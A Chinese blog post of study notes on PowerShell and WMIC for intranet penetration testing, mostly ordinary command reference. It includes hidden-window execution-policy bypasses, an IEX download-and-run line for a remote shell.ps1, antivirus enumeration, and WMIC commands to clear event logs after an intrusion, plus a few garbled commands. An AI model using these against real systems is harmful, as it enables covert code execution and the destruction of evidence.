文章目录
- 引子
- PowerShell
-
- 0x001基本概念
- 0x002命令格式
- 0x003基本使用
- 0x004常用命令
- 0x005powershell脚本
- 0x006参考文章
- WMIC
-
- 0x001基本概念
- 0x002命令格式
- 0x003常用命令
-
- 1、目标系统相关
- 2、用户管理
- 0x004参考文章
引子
之前在内网渗透,免杀中到处能看到powershell和wmic的身影,功能还是非常强大的,但一直没有系统的学习过他们,对他们还是一知半解,现在有空了系统的学习下并记录学习笔记。PowerShell 0x001基本概念
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。内置在Windows版本中,可以看成是cmd命令的扩充,所包含的命令兼容cmd。0x002命令格式 在powershell下,类似cmd命令叫做cmdlet(command-let)。
cmdlet是本机PowerShell命令,而不是独立的可执行文件。cmdlet收集在 PowerShell模块中,可按需加载。可以用任何编译的.NET 语言或PowerShell 脚本语言本身来编写cmdlet。
cmdlet命名比较规范都采用”动词-名词“的形式。
动词标识cmdlet执行的操作,名词标识该cmdlet执行其操作的所在资源。
动词一般为Add、New、Get、Remove、Set、Clear等,名词一般都是动词作用的资源。
0x003基本使用
get-help
来查看帮助。文章图片
get-command
查看powershell支持的命令,有很多的命令,这里只截取一部分。CommandType | Name | Definition |
---|---|---|
表示命令类型,Alias是别名、Cmdlet是powershell格式的命令、Function是函数 | 具体的命令 | 命令功能的简单描述。 |
文章图片
文章图片
0x004常用命令 命令不缺分大小写且支持tab补全。
- 文件目录操作
new-item 123 -itemtype Directory#新建123目录
new-item 123.txt -itemtype file#新建123.txt文件
set-content 123.txt -value "Hello,word!"#设置123.txt文件内容
get-content 123.txt#显示123.txt文件内容
add-content 123.txt -value "LOVE"#追加内容
clear-content 123.txt#清除文件内容
remove-item 123.txt#删除123.txt文件
remove-item 123#删除123目录
get-childitem#显示当前路径下的文件和目录
文章图片
- Get类
Get-Command#得到所有PowerShell命令,获取有关 cmdlet 以及有关 Windows PowerShell 命令的其他元素的基本信息。#包括Cmdlet、Alias、Function。
Get-Process#获取所有进程
Get-Help#显示有关 Windows PowerShell 命令和概念的信息
Get-History#获取在当前会话中输入的命令的列表
Get-Job#获取在当前会话中运行的 Windows PowerShell 后台作业
Get-FormatData #获取当前会话中的格式数据
Get-Event#获取事件队列中的事件
Get-Alias#获取当前会话的别名
Get-Culture#获取操作系统中设置的当前区域性
Get-Date#获取当前日期和时间
Get-Host#获取表示当前主机程序的对象
Get-Member#获取对象的属性和方法。
如:$var = 3
$var | get-memberGet-Random#从集合中获取随机数或随机选择对象
Get-UICulture#获取操作系统中当前用户界面 (UI) 区域性设置
Get-Unique#从排序列表返回唯一项目
Get-Variable#获取当前控制台中的变量
Get-EventLog#获取本地或远程计算机上的事件日志或事件日志列表中的事件
Get-ChildItem#获取一个或多个指定位置中的项和子项
Get-Content#获取指定位置的项的内容
Get-ItemProperty #获取指定项的属性
Get-WmiObject#获取 Windows Management Instrumentation (WMI) 类的实例或可用类的相关信息
Get-Location#获取当前工作位置的相关信息(如:F:\Users\TaoMin )
Get-PSDrive#获取当前会话中的 Windows PowerShell 驱动器
Get-Item#获取位于指定位置的项
Get-Service#获取本地或远程计算机上的服务
Get-Transaction #获取当前(活动)事务
Get-ExecutionPolicy#获取当前会话中的执行策略
- Set类
Set-Alias#在当前 Windows PowerShell 会话中为 cmdlet 或其他命令元素创建或更改别名(替代名称)
如:Set-Alias aaa Get-Command
Set-PSDebug#打开和关闭脚本调试功能,设置跟踪级别并切换 strict 模式
Set-StrictMode#建立和强制执行表达式、脚本和脚本块中的编码规则
Set-Date#将计算机上的系统时间更改为指定的时间
Set-Variable#设置变量的值,如果该变量还不存在,则创建该变量
Set-PSBreakpoint #在行、命令或者变量上设置断点
Set-Location#将当前工作位置设置为指定的位置
Set-Item#将项的值更改为命令中指定的值
Set-Service#启动、停止和挂起服务并更改服务的属性
Set-Content#在项中写入内容或用新内容替换其中的内容
Set-ItemProperty #创建或更改某一项的属性值
Set-WmiInstance#创建或更新现有 Windows Management Instrumentation (WMI) 类的实例
Set-ExecutionPolicy #更改 Windows PowerShell 执行策略的用户首选项。
- Write类
Write-Host#将自定义输出内容写入主机。类似于.net的 write()或者writeline()功能
Write-Progress#在 Windows PowerShell 命令窗口内显示进度栏
Write-Debug#将调试消息写入控制台
Write-Verbose#将文本写入详细消息流
Write-Warning#写入警告消息
Write-Error#将对象写入错误流
Write-Output#将指定对象发送到管道中的下一个命令;如果该命令是管道中的最后一个命令,则在控制台上显示这些对象
Write-EventLog#将事件写入事件日志
0x005powershell脚本
powershell脚本其实是简单的文本文件,文件包含了一系列powershell命令,每个命令显示为独立的一行,脚本文件后缀为执行脚本: 为了防止恶意脚本的执行,powershell有一个执行策略,默认情况下,这个执行策略设为受限。.ps1
。
Get-ExecutionPolicy
获取当前会话中的执行策略文章图片
Restricted:脚本不能运行(默认设置)。
RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
AllSigned:仅当脚本由受信任的发布者签名时才能运行。
Unrestricted:允许所有的script运行。
可通过
Set-ExecutionPolicy
修改执行策略。脚本编写可参考文章:https://www.jianshu.com/p/b69040c074b7
绕过执行策略执行脚本:
- 绕过本地权限执行
上传shell.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本。
powerShell.exe -ExecutionPolicy Bypass -File shell.ps1
- 本地隐藏绕过权限执行脚本
powerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File shell.ps1
- 用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("shell.ps1"); [Parameters]
ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
WindowStyle Hidden:隐藏窗口。
NoLogo:启动不显示版权标志的PowerShell。
Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
NoProfile(-NoP): PowerShell控制台不加载当前用户的配置文件。
Noexit:执行后不退出Shell。这在使用键盘记录等脚本时非常重要。
0x006参考文章 https://www.jianshu.com/p/b69040c074b7
https://www.cnblogs.com/lsdb/p/9531338.html
官方文档
WMIC 0x001基本概念
wmi 命令行 (WMIC) 实用工具提供 Windows Management Instrumentation (WMI) 的命令行接口。 WMIC 与现有 shell 和实用工具命令兼容。 官方文档0x002命令格式 包含全局开关,“动词”,函数别名即名词。命令格式和PowerShell一样也是"动词+名词+参数"。
- 全局开关
全局开关是可以全局设置或根据需要设置的 WMIC 选项,WMIC全局选项可以用来设置WMIC环境的各种属性,通过结合各种全局选项以及参数,我们就可以通过WMIC环境来管理整个系统了。名称 描述 /NAMESPACE 别名在其上操作的命名空间的路径。 /ROLE 包含别名定义的角色的路径。 /NODE 别名在其上操作的服务器。 /IMPLEVEL 客户端模拟级别。 /AUTHLEVEL 客户端身份验证级别。 /LOCALE 客户端应使用的语言 ID。 /PRIVILEGES 启用或禁用所有权限。 /TRACE 将调试信息输出到 stderr。 /RECORD 记录所有输入命令和输出内容。 /INTERACTIVE 设置或重置交互模式。 /FAILFAST 设置或重置 FailFast 模式。 /USER 会话期间要使用的用户。 /PASSWORD 登录会话时要使用的密码。 /OUTPUT 指定输出重定向模式。 /APPEND 指定输出重定向模式。 /AGGREGATE 设置或重置聚合模式。 /AUTHORITY 指定连接的 <授权类型>。 /?[: ] 用法信息。/NAMESPACE /?:BRIEF - 动词
- ASSOC: 返回查询的结果
Associators of (
,其中 是 路径 或 类 命令返回的对象的路径。 结果是与对象关联的实例。 将 ASSOC 与别名一起使用时,将返回具有别名的类的类。 默认情况下,以 HTML 格式返回输出。eg:) OS ASSOC
ASSOC 谓词具有以下开关。开关 说明 /RESULTCLASS: < classname> 与源对象关联的返回终结点必须属于或派生自指定的类。 /RESULTROLE: <> 返回的终结点必须在与源对象的关联中扮演特定角色。 /ASSOCCLASS: < ASSOCCLASS> 返回的终结点必须通过指定的类或其派生类之一与源关联。 - CALL: 执行方法。启动telnet服务:
CAPTION = 'TELNET' CALL STARTSERVICE
- CREATE: 创建一个新的实例,并设置属性值。 CREATE 不能用于创建新类。eg:
环境变量名称 = "TEMP"; VARIABLEVALUE = "https://www.it610.com/article/NEW"
- DELETE: 删除当前实例或实例集。可以使用 DELETE 来删除类。eg:
NAME = "CALC.EXE" DELETE process
- GET: 获取特点属性的值。
eg:PROCESS where name="lsass.exe" get processid
- List: 显示数据。
- 函数别名
当前角色中可以使用以下别名:
ALIAS- 对本地系统上可用别名的访问
BASEBOARD- 基板(也称为主板或系统板)管理。
BIOS- 基本输入/输出服务(BIOS)管理。
BOOTCONFIG- 启动配置管理。
CDROM- CD-ROM 管理。
COMPUTERSYSTEM- 计算机系统管理。
CPU- CPU 管理。
CSPRODUCT- SMBIOS 中的计算机系统产品信息。
DATAFILE- 数据文件管理。
DCOMAPP- DCOM 应用程序管理。
DESKTOP- 用户的桌面管理。
DESKTOPMONITOR- 桌面监视器管理。
DEVICEMEMORYADDRESS- 设备内存地址管理。
DISKDRIVE- 物理磁盘驱动器管理。
DISKQUOTA- 用于 NTFS 卷的磁盘空间使用量。
DMACHANNEL- 直接内存访问(DMA)通道管理。
ENVIRONMENT- 系统环境设置管理。
FSDIR- 文件系统目录项管理。
GROUP- 组帐户管理。
IDECONTROLLER- IDE 控制器管理。
IRQ- 中断请求线路(IRQ)管理。
JOB- 提供对使用计划服务安排的作业的访问。
LOADORDER- 定义执行依赖关系的系统服务的管理。
LOGICALDISK- 本地存储设备管理。
LOGON- 登录会话。
MEMCACHE- 缓存内存管理。
MEMORYCHIP- 内存芯片信息。
MEMPHYSICAL- 计算机系统的物理内存管理。
NETCLIENT- 网络客户端管理。
NETLOGIN- 网络登录信息(属于特定用户)管理。
NETPROTOCOL- 协议(及其网络特征)管理。
NETUSE- 活动网络连接管理。
NIC- 网络接口控制器(NIC)管理。
NICCONFIG- 网络适配器管理。
NTDOMAIN- NT 域管理。
NTEVENT- NT 事件日志中的项目。
NTEVENTLOG- NT 事件日志文件管理。
ONBOARDDEVICE- 主板(系统板)中内置的通用适配器设备的管理。
OS- 已安装操作系统的管理。
PAGEFILE- 虚拟内存文件交换管理。
PAGEFILESET- 页面文件设置管理。
PARTITION- 物理磁盘的已分区区域的管理。
PORT- I/O 端口管理。
PORTCONNECTOR- 物理连接端口管理。
PRINTER- 打印机设备管理。
PRINTERCONFIG- 打印机设备配置管理。
PRINTJOB- 打印作业管理。
PROCESS- 进程管理。
PRODUCT- 安装程序包任务管理。
QFE- 快速修复工程。
QUOTASETTING- 卷上的磁盘配额设置信息。
RDACCOUNT- 远程桌面连接权限管理。
RDNIC- 对特定网络适配器的远程桌面连接管理。
RDPERMISSIONS- 特定远程桌面连接的权限。
RDTOGGLE- 远程打开或关闭远程桌面侦听程序。
RECOVEROS- 操作系统出现故障时将从内存收集的信息。
REGISTRY- 计算机系统注册表管理。
SCSICONTROLLER- SCSI 控制器管理。
SERVER- 服务器信息管理。
SERVICE- 服务应用程序管理。
SHADOWCOPY- 卷影副本管理。
SHADOWSTORAGE- 卷影副本存储区域管理。
SHARE- 共享资源管理。
SOFTWAREELEMENT- 系统上安装的软件产品元素的管理。
SOFTWAREFEATURE- SoftwareElement 的软件产品子集的管理。
SOUNDDEV- 声音设备管理。
STARTUP- 当用户登录到计算机系统时自动运行的命令的管理。
SYSACCOUNT- 系统帐户管理。
SYSDRIVER- 基本服务的系统驱动程序管理。
SYSTEMENCLOSURE- 物理系统外壳管理。
SYSTEMSLOT- 物理连接点(包括端口、插槽和外设以及专用连接点)的管理。
TAPEDRIVE- 磁带驱动器管理。
TEMPERATURE- 温度传感器(电子温度计)数据管理。
TIMEZONE- 时区数据管理。
UPS- 不间断电源(UPS)管理。
USERACCOUNT- 用户帐户管理。
VOLTAGE- 电压传感器(电子电压表)数据管理。
VOLUME- 本地存储卷管理。
VOLUMEQUOTASETTING- 将磁盘配额设置与特定磁盘卷相关联。
VOLUMEUSERQUOTA- 每用户存储卷配额管理。
WMISET- WMI 服务操作参数管理。有关特定别名的详细信息,请键入: alias /?CLASS- 按 Esc 键可获取完整 WMI 架构。
PATH- 按 Esc 键可获取完整 WMI 对象路径。
CONTEXT- 显示所有全局开关的状态。
QUIT/EXIT - 退出程序。
0x003常用命令 注意:请不要在本机上试验命令。
1、目标系统相关
- 获取主机名,域名,制造商,设备型号,用户名,用户名角色。
wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list
- 获取账户名、安装日期、本地组成员状态、域名、SID以及相应的状态。
wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
- 创建进程。
wmic process call create "taskmgr.exe"
- 修改进程优先级
降低某个进程的优先级可能会导致特定的应用程序发生崩溃,而提升某个进程的优先级甚至还会导致整个系统发生崩溃。bypass杀软
wmic process where name="explorer.exe" call set priority 64
- 终止进程
wmic process where name="explorer.exe" call terminate
- 获取可执行文件列表
枚举出整个系统中所有可执行文件的路径地址
wmic process where "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath
- 获取目录属性
WMIC命令的fsdir选项可以提取目标系统中文件目录的基本信息,其中包括压缩方法、创建日期、文件大小、是否可读写、是否为系统文件、加密状态以及加密类型等:
wmic fsdir where "drive='C:' and filename='test'" get /format:list
- 获取文件属性
wmic datafile where name='c:\\windows\\system32\\demo\\demo.txt' get /format:list
- 定位系统文件
WMIC可以提取出所有重要系统文件的路径
wmic environment get Description, VariableValue
- 获取已安装的应用系统程序
wmic product get name
- 获取目标系统正在运行的服务
wmic service where (state="running") get caption, name, startmode
- 获取操作系统详情
os选项可以列举出目标系统的上一次启动时间、注册的用户数量、处理器数量、物理/虚拟内存信息和安装的操作系统类型等等。
wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpTime, NumberofProcesses, NumberofUsers, Organization, Status /format:list
- 获取系统驱动详情
sysdrive选项可以枚举出驱动的名称、路径和服务类型等数据。
wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list
- 获取主板信息和BIOS序列号
wmic baseboard get Manufacturer, Product, SerialNumber, Version
wmic bios get serialNumber
- 获取内存缓存数据
memcache选项可以获取到内存缓存名和块大小等信息:
wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status
- 获取内存芯片信息
memorychip选项可以获取到RAM的相关信息,例如序列号等等:
wmic memorychip get PartNumber, SerialNumber
- 判断目标系统是否为虚拟机
根据onboarddevice选项返回的信息来判断目标系统到底是真实的主机操作系统,还是一台虚拟机(VMware或Virtual Box):
wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list
2、用户管理
- 锁定用户账号
使用useraccount选项来锁定本地用户账号:
wmic useraccount where name='demo' set disabled=false
- 用户账号重命名
wmic useraccount where name='demo' rename test
- 限制用户修改密码
限制本地用户的密码修改操作:
wmic useraccount where name='test' set passwordchangeable=false
- 获取反病毒产品详情
枚举出目标系统安装的反病毒产品信息,包括安装位置和版本:
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe
- 清理系统日志
WMIC命令的nteventlog选项还可以清除系统的日志记录,当你入侵了某个系统之后,这个命令可以帮助你掩盖攻击痕迹:
wmic nteventlog where filename='system'call cleareventlog
wmic nteventlog where (description like "%webshell%")call cleareventlog
0x004参考文章 【内网渗透|内网渗透 | powershell&wmic详解】https://blog.csdn.net/discover2210212455/article/details/82711930
https://www.hackingarticles.in/post-exploitation-using-wmic-system-command/
https://www.cnblogs.com/DiZhang/p/12544793.html
https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/wmic?redirectedfrom=MSDN
推荐阅读
- PowerShell小技巧(通过 PowerShell实现日志关键字分析)
- PowerShell安装(副本)额外域控制器
- powershell 常用命令
- Powershell 访问Exchange EWS API
- Powershell + Selenium 爬虫--代理(03)
- Powershell 创建炫丽美观的Html报表
- Powershell AWS 自动化管理 (11) - 创建一个高可用的WordPress博客(中)
- Powershell管理系列(三十八)PowerShell操作之文件查找和操作
- Powershell 修改Office365和AD账户